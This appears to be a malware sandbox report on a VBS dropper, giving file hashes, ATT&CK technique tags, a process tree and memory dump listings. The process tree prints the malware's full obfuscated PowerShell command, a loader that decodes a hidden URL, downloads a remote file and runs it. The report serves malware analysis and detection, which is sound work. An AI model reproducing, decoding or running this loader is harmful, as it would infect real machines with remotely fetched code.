c4990aebded04b1f4a9c34072e736771183d8dcd091adf27ede3cb8c04ba520c

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
20/06/2024, 02:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SKGHM_PE_757583588358839538539599593BeoersKnucklehead.vbs
Size

154KB
MD5

8993abe6fdbed5a58e5f8806cb1a12d8
SHA1

6f52e232be6a55b0411d2d2bf1e03b01b7388921
SHA256

1d6d36ec589cbecea839e3b4a5156a35f48436847043f2e1f307f6579e7893e2
SHA512

9de0b6554063778d0fec454f0fcb72acc5a1b652aff0f4513254097b6cfdce80c496e330ba93c2bacbabc5437fa508a124eb5e099c0e92dca2d7b70975090bd3
SSDEEP

3072:Gvn9Dm5IXdH7eAlsSyP/ioJbae+nzu6J5RcuXrMLyVZH4lY0Gx2gDwDjNMrt:Gvn9Dm5IXdH7ecsSyP/io9ae+nzu6J5j

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	924	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
924	powershell.exe
924	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	924	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1408 wrote to memory of 924	1408	WScript.exe	82
PID 1408 wrote to memory of 924	1408	WScript.exe	82
PID 924 wrote to memory of 3772	924	powershell.exe	85
PID 924 wrote to memory of 3772	924	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SKGHM_PE_757583588358839538539599593BeoersKnucklehead.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Spectroscopists120 = 1;Function Statsraads($Cablegram){$Broderfolket=$Cablegram.Length-$Spectroscopists120;$Boombox='Substring';For( $Udryddendes=5;$Udryddendes -lt $Broderfolket;$Udryddendes+=6){$Semimembranosus+=$Cablegram.$Boombox.Invoke( $Udryddendes, $Spectroscopists120);}$Semimembranosus;}function Saddirham($Assika){ & ($rapaciously) ($Assika);}$Stteriets=Statsraads 'L tulMPragmo etydzSlrini RoqulForgrl Sym aFlytn/Virge5Reins. Ca s0Skovl S ol(F.sfoW ommiF enunEtagedzymuroBigutwPathosInd,r GoumiN,dateT unp. Feltp1Troll0Nd.ed. Syko0Drunk;Baner RhataWBrea,iJaspenDorlo6Unref4 S at;,adka I,dkrxAuc,t6Guldf4Re,it;,adde Over.r ,andvc.sse:Ro le1Unsym2Hydri1Fear,.Snooz0Abstr)Straf PardsGPro,uefo urcBle,sk.ffixo Rei./Klfte2,lyng0 Un,o1tunin0ramle0 Ch.k1Ddsdm0 Meda1Ex er plejeFMortiiFokker,hetreMyc,sfShephoAmadexKmela/ Outh1F lsk2Nippo1Forp...rodu0 ortu ';$preverbal=Statsraads ' SquiUanfrasprogre Endsr Div,-Femd.AOss,tgVaredehecton T.ymtBrand ';$Gardehusarer=Statsraads ' P.eshUnroutlintst Surbp B.dr:Rosc,/,itha/ N tn1Uddel9 Elek4ar ej.Fanta5Acide9Elabo.vands3 Syst1.azin. Data1syn.t8P leg7conve/EnaktTPulayi ParalRadiosGr tikAfskurIntere ForpnHaverdTangfeGtcwisBeads.BifigtDevitoProboc,lfen ';$Auras=Statsraads ',igna>Prost ';$rapaciously=Statsraads 'Jadesi OrgeeLeninxCyke. ';$Beskylles='Patrichs';$stereography = Statsraads 'ponceeKerencJus.ih ,revo Wi.i Hjrej%Uh.giaFetispPhosppBnfstd UdspaTribut Downa Clea%Radi.\VengiBgscocaLavtrs P.aksHyr,riMellisTilhut,upere tidsn .ihesSocia.W.ylaT PresiEdeltlUdskn Knife&Konta&Quaif Fee,eVgtencSnigmhMudguo.rygt Limfat Olaj ';Saddirham (Statsraads ' Ur.n$Sk legPriorlIn lao.oladb,appoaMe,vilExcre:Afgr SAksl.lCreataStrewdKon,rrFlesteBackrt WaleaAccins,melikImpeeePala n.kattsNonfe=Hatte(Pueric MellmSprydd Thor Flueg/ r.edcNilda K.ttl$DuettsBeetlt Ou.tecan orCurb eTotaloGuglig direr MolaaSpeedpJalouh C.mpyNe,sp)Ka.it ');Saddirham (Statsraads ' Slag$Rn.gegRemedlBetryoDioctb LollaForevlverni:Pe,iogunlimeFondlvOddneiNo,dirAnd.rsFangl=Lobhu$ IslnGAnt,saZircor TubadMyndietilfrh,ractuD,nsesNonnuaCopyhr Hippe Wea rMaale.ProtosTaknipBondelBed.iiUddantSubso(Birr.$ Dem,AMultiuUrisir AfhjainkvisInlan)Undes ');$Gardehusarer=$gevirs[0];$kontorautomatiseringer= (Statsraads 'Genne$.usmdgDag jlDredgoBumblb SubkaHyperlporen:unpurFBrorso sjlerab.trt fstrhSuperySutte=CaracNPlasmeCircuw N.np-HistoOSemafbChannjBejume tandcMangetT,esa EfeueS.lrumyNemessSeriot WaveeTurbomEnk.l. jumiNI.done Kurdt Digt.LumskW tauteBorgeb FyldCGuerdlSen,ei BeabeAfgifn,osnit');$kontorautomatiseringer+=$Sladretaskens[1];Saddirham ($kontorautomatiseringer);Saddirham (Statsraads 'Udspi$ BrndFOutdaoGammer.ntertSquethVindbyBeadw. affiH,edsaeRustiaUnderdMorgeeWaterr TotasSvejf[Indes$MicropM.trerBigg ePointvPrstee OverrBechabDesi,aInterl Hyld] dest=Bicor$ rsenSTennitg.amotSdelieSprigr.olypiF.ambeP.eretDzublsReali ');$Musikledsagelses=Statsraads ' .oit$ UdlsFSe veoropemr RedatSyrerhElendyovers.PapooDElit.oH.lvewFrgemnKarkllcountoTrik.a Mercd.askoFkirkeiFractl Forhe,ndep(U,set$ AreoG,anawaSharprUnderdAutogebletthMilesu ddyksKrakkaRituarKludge,atrir Capi,Rygea$AgronSDumrikUpwaraCy,herServev.krtoerecivrOverv)Dimin ';$Skarver=$Sladretaskens[0];Saddirham (Statsraads 'F,ste$C hobgNota.lNedtaoSkolebUltaoaBlekilNeda,:LibelFJ,leliT.mbefStaalfLogeriDobbegIretttHyper=Grimf(FitzcTHjmeseLyskusVirgitDuode-,rigiPDuskea .ilttSbladhGedeh Brled$BirreS ustiktartaaExtrarPapbavKnivseDisesrN.tri)Angel ');while (!$Fiffigt) {Saddirham (Statsraads 'Proto$Im ergTilsalSkuffoFalcob Stada BroflSi el:ArvetDSe.enrDownca liqpAkt.oaPo,tcrAvissn orguaAvenallssald Sa miMi jsa Fors=condu$M nimtEks rr ConsuragnseInit ') ;Saddirham $Musikledsagelses;Saddirham (Statsraads 'ForesSDe ivtMaenaaGejlerPer,lt Offi- NudaSMinislUnwifeStrane S.lrpsuper G.ade4Sko,n ');Saddirham (Statsraads 'Stoma$InfangVolu lTurbooSubstbNoninaAmun.lS,iri:MesmeFVer.ciT,ynef M,kifOverhisk.ivgOpsprtPicks=Rec.i(Bad.aTGullieLivvis Simut.urse-QuincP ,omsadepr,tSaarhhAlkoh Kon $An,acSHumorkSkrddaTidsbrBlistvKantaePlakerSulp.)Herme ') ;Saddirham (Statsraads 'Nedgr$ NeurgUnsailMag.ao NathbBlu.da Sl slpostg:ModesU NearpUnselcSten o Folkl Cri,uReskrmQuiltnClima= ,nde$ CompgbatlilSkruboC.vatb offia Gnuelp.ilo:Mer eFGrubslHeredaFi urtFertitBlddee heptr MesteAbiolrRounds.andp+Eloig+Solri%Reine$Sl,ergB,ryteEmbo vRaa.aiMisjur F ovsAfdel.T mblc LyrioFleksuArbejnSttemtHalvp ') ;$Gardehusarer=$gevirs[$Upcolumn];}$Skvatte=334511;$mellemleddets=27712;Saddirham (Statsraads 'Erteb$ddsaag UnvelAfsteoSagumbAnalca.ttral,ydro:Ya miFDat doIsenkrNougafT,phelBearbg TrapeCharnlOpbygsDugaleUdenrrOmni.sWobbl Likvi=Aktio MarkdGVedl eatombtBelur-EmetaCCicisoOrnitn.ordst GheteStmagnDebo.tFrden E,rus$,appoS,evrtkUdt,kaMagnerValvev InsceG.rlirMarin ');Saddirham (Statsraads ' sk.b$ Ca mgLednilHolosoVas bbRetaraChi.al Cha,: TappM,eaveiOdyssn InfaiE,logaOrgantScr,euaugusrMag.eiPole.s sk.fa PanetBoendiN.foroSi.din Vrdi Alien=H,gge Kends[BredbSYngvaySheddsChiv,t Rimse Uds.m port.ForsiCT,ckloMethon ArchvAfhngeun,ovrBrochtC.ust]Fouri:Heter:AmphiFRadiarRingioTox,pmTveknB AfsnaHandisE,dekeHypon6Denta4PrsteS,onottUnprerR,gidiSheltnhypatg Dion( Myom$IndhoFSavn.oBekkar BeatfToughlco,esg LifteSaml l,rizzs Per,e KlosrPythos Brug)Annih ');Saddirham (Statsraads 'Strkl$Tol fg.avanlSampio RepobSponsaSeptal Diac:BibliOOptrkp FilmlAut,ha,oldenPterydCom.lsOutguaHeavevgrundiM raksWastee pensrNewsmnNit.oe Hemo Mosq=Skift .ushg[SubriSFokusySpol.sRets tKa,aneGallum oeti. MarkTAdapteSyn,hxNondetBushb.ErkynE SkvanledincSlvmeo Ndded RektiSlvp,n StregMonof]Pocke:.ounc:TintiA ,ensSRdbedCT rfaIPluskIPedic. DaemGMarreeCiboltUlykkSHeathtAutorrSatiriFurlanC untg Brun(Disun$PrivaM Linei P,linDu,deiSlgtsaUn.aitDaydruUndolrUdhveiMa ros S.ela ToiltAfsvkiTumuloOmbu.nprsid),ntoo ');Saddirham (Statsraads 'Timed$U,idigOffwal AarmoGroucbBaaseaYn.eslOpini:bombaDGodseeRulammE,evaiFluxemGadekeUdtrktDialyoHamatpAposteunchi=Kraki$ParafOVodbipApelilA roya Nu unPattedBro,zsSubsta.opolvSalemi Te,rsPebreeMlkerr concnUdv,seGrund.GarrysSlagsuNaimab St.vsPresst NonarTenseiEmporn belagAlter(A ast$UnemaSKu.stkH,kkev S,roa ProgtOppeit Misbestorl,lofte$fab fmLydbie Rem lSer,tlK.amteO ergmDi,sclNonore SnusdD mphd LegeeFug,itTrldosHeddi)Gr ek ');Saddirham $Demimetope;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bassistens.Til && echo t"
    3⤵
    PID:3772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xbzngqvo.nn2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/924-0-0x00007FFA61823000-0x00007FFA61825000-memory.dmp

Filesize
8KB

Download
memory/924-1-0x000001AFD1F20000-0x000001AFD1F42000-memory.dmp

Filesize
136KB

Download
memory/924-11-0x00007FFA61820000-0x00007FFA622E1000-memory.dmp

Filesize
10.8MB

Download
memory/924-12-0x00007FFA61820000-0x00007FFA622E1000-memory.dmp

Filesize
10.8MB

Download
memory/924-13-0x00007FFA61820000-0x00007FFA622E1000-memory.dmp

Filesize
10.8MB

Download
memory/924-14-0x00007FFA61823000-0x00007FFA61825000-memory.dmp

Filesize
8KB

Download
memory/924-15-0x00007FFA61820000-0x00007FFA622E1000-memory.dmp

Filesize
10.8MB

Download
memory/924-16-0x00007FFA61820000-0x00007FFA622E1000-memory.dmp

Filesize
10.8MB

Download